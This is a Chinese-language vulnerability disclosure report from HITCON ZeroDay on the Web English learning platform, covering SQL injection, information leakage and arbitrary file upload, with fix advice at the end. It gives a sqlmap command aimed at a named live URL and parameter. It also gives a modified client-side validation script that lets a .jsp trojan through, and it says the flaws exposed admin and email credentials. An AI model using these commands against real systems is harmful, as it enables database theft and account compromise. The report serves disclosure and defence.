Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2024-00506
- Vendor: 韋博數位有限公司
- Title: 韋博數位 Web English學習平台 SQLInjection、訊息洩漏、任意檔案上傳等多種弱點
- Introduction: 未對輸入參數進行良好處理導致
處理狀態
目前狀態
公開
Last Update : 2024/06/08
-
新提交
-
已審核
-
已通報
-
已修補
-
未複測
-
公開
處理歷程
- 2024/05/04 11:00:08 : 新提交 (由 Whale120 更新此狀態)
- 2024/05/04 11:23:42 : 新提交 (由 Whale120 更新此狀態)
- 2024/05/04 11:24:00 : 新提交 (由 Whale120 更新此狀態)
- 2024/05/04 11:43:32 : 新提交 (由 Whale120 更新此狀態)
- 2024/05/04 11:51:33 : 新提交 (由 Whale120 更新此狀態)
- 2024/05/04 12:14:25 : 新提交 (由 Whale120 更新此狀態)
- 2024/05/07 10:25:55 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2024/05/07 21:58:31 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2024/05/07 21:58:31 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2024/05/07 21:58:31 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2024/05/08 12:32:35 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2024/05/08 12:32:35 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2024/05/08 12:32:35 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2024/05/21 22:23:00 : 複測申請中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2024/06/08 03:00:23 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2024-00506
- 通報者:WH_ALE (Whale120)
- 風險:嚴重
- 類型:資料庫注入攻擊 (SQL Injection)
參考資料
攻擊者可利用該漏洞取得後端資料庫權限及完整資料(包含大量使用者個資或敏感性資料),同時也有機會對資料進行破壞或修改。
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
https://ecourse.webenglish.tv/
https://bu.webenglish.tv/login.jsp
https://tccs8.webenglish.tv/
https://webenglish.cjcu.edu.tw/
https://elearning.webenglish.tv/
https://scgs.webenglish.tv/
https://bu.webenglish.tv/login.jsp
https://tccs8.webenglish.tv/
https://webenglish.cjcu.edu.tw/
https://elearning.webenglish.tv/
https://scgs.webenglish.tv/
敘述
前言
webenglish旗下有多種服務,經由google瀏覽器便可發現許多,其餘還有許多無法查詢到的相同服務,建議統一處理
而通報弱點目前看到最嚴重者為:貴單位郵件帳號密碼洩漏。
SQL Injection與訊息洩漏
首先,利用dirsearch路徑掃描工具發現/report.jsp的路徑,當中紀錄了各個帳號的登入時長等資訊(這也是不合理的),藉由原始碼找到子路徑/main-016.jsp?gid=&datebox1=2024-05-04&datebox2=2024-05-04&uname=&realname=。
推測是利用抓取SQL資料生成excel檔案,直接利用注入工具sqlmap進行嘗試:
Payload
sqlmap -u 'https://ecourse.webenglish.tv/main-016.jsp?gid=&datebox1=2024-05-04&datebox2=2024-05-04&uname=&realname=' --dbs --random-agent
成功注入,獲得資料庫資訊
此外,資料庫中密碼明文儲存,獲得admin密碼後可以登入/admin的路徑
進而於獲得此單位gmail帳號密碼
任意檔案上傳
在使用者資訊處發現可以上傳個人圖像:
發現驗證在前端,利用f12開發人員工具打斷點,再到console修改掉判斷即可:
Payload
checkForm=function(){
re = /^[A-Za-z]*$/;
re1 = /^[\d|a-zA-Z]+$/;
if(document.getElementsByName("pwd")[0].value != "")
{
if (document.getElementsByName("pwd")[0].value.length < 4){
alert("密碼長度為4-10個字元的英文或數字組合?!");
document.getElementsByName("pwd")[0].focus();
return false;
}
if (!re1.test(document.getElementsByName("pwd")[0].value)) {
alert("密碼需為英文或數字組合?!");
document.getElementsByName("pwd")[0].focus();
return false;
}
if (!checkPWD(document.getElementsByName("pwd")[0].value,document.getElementsByName("cpwd")[0].value)){
alert("確認密碼與新密碼不符合?!");
document.mgr.cpwd.focus();
return false;
}
}
if (document.getElementsByName("pswHint")[0].value == "")
{
alert("密碼提醒不能為空?!");
document.getElementsByName("pswHint")[0].focus();
return false;
}
if (!re1.test(document.getElementsByName("pswHint")[0].value))
{
alert("密碼提醒需為英文或數字組合?!");
document.getElementsByName("pswHint")[0].focus();
return false;
}
/*
if (document.getElementsByName("nickName")[0].value == ""){
alert("暱稱不能為空?!");
document.getElementsByName("nickName")[0].focus();
return false;
}
if(!re.test(document.getElementsByName("nickName")[0].value)){
alert("暱稱必需為英文字母?!");
document.getElementsByName("nickName")[0].focus();
return false;
}
*/
if (document.getElementById("image-file").value != ""){
if (!(document.getElementById("image-file").value.indexOf(".jsp") > 0
|| document.getElementById("image-file").value.indexOf(".png") > 0
|| document.getElementById("image-file").value.indexOf(".jpg") > 0))
{
alert("上傳圖像必需為gif或png或jpg圖檔?!");
document.getElementById("image-file").focus();
return true;
}
if ('files' in document.getElementById("image-file")) {
for (var i = 0; i < document.getElementById("image-file").files.length; i++) {
var file = document.getElementById("image-file").files[i];
if ('size' in file) {
if (file.size > 2*1024*1000){
alert("上傳圖像大小限制為2MB以下圖檔?!");
return false;
}
}
}
}
}
document.calform1.submit();
}
雖然上傳jsp木馬後並沒有發現可以利用的跡象,但難以確認在遇到更強烈的攻擊或其他的功能是否具有達成RCE的弱點,仍須注意。
修補建議
1.驗證好權限,明確定義哪些資訊管理員才可查看。
2.對輸入進行編碼/過濾,防止SQL Injection。
3.針對檔案上傳請由後端驗證。
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。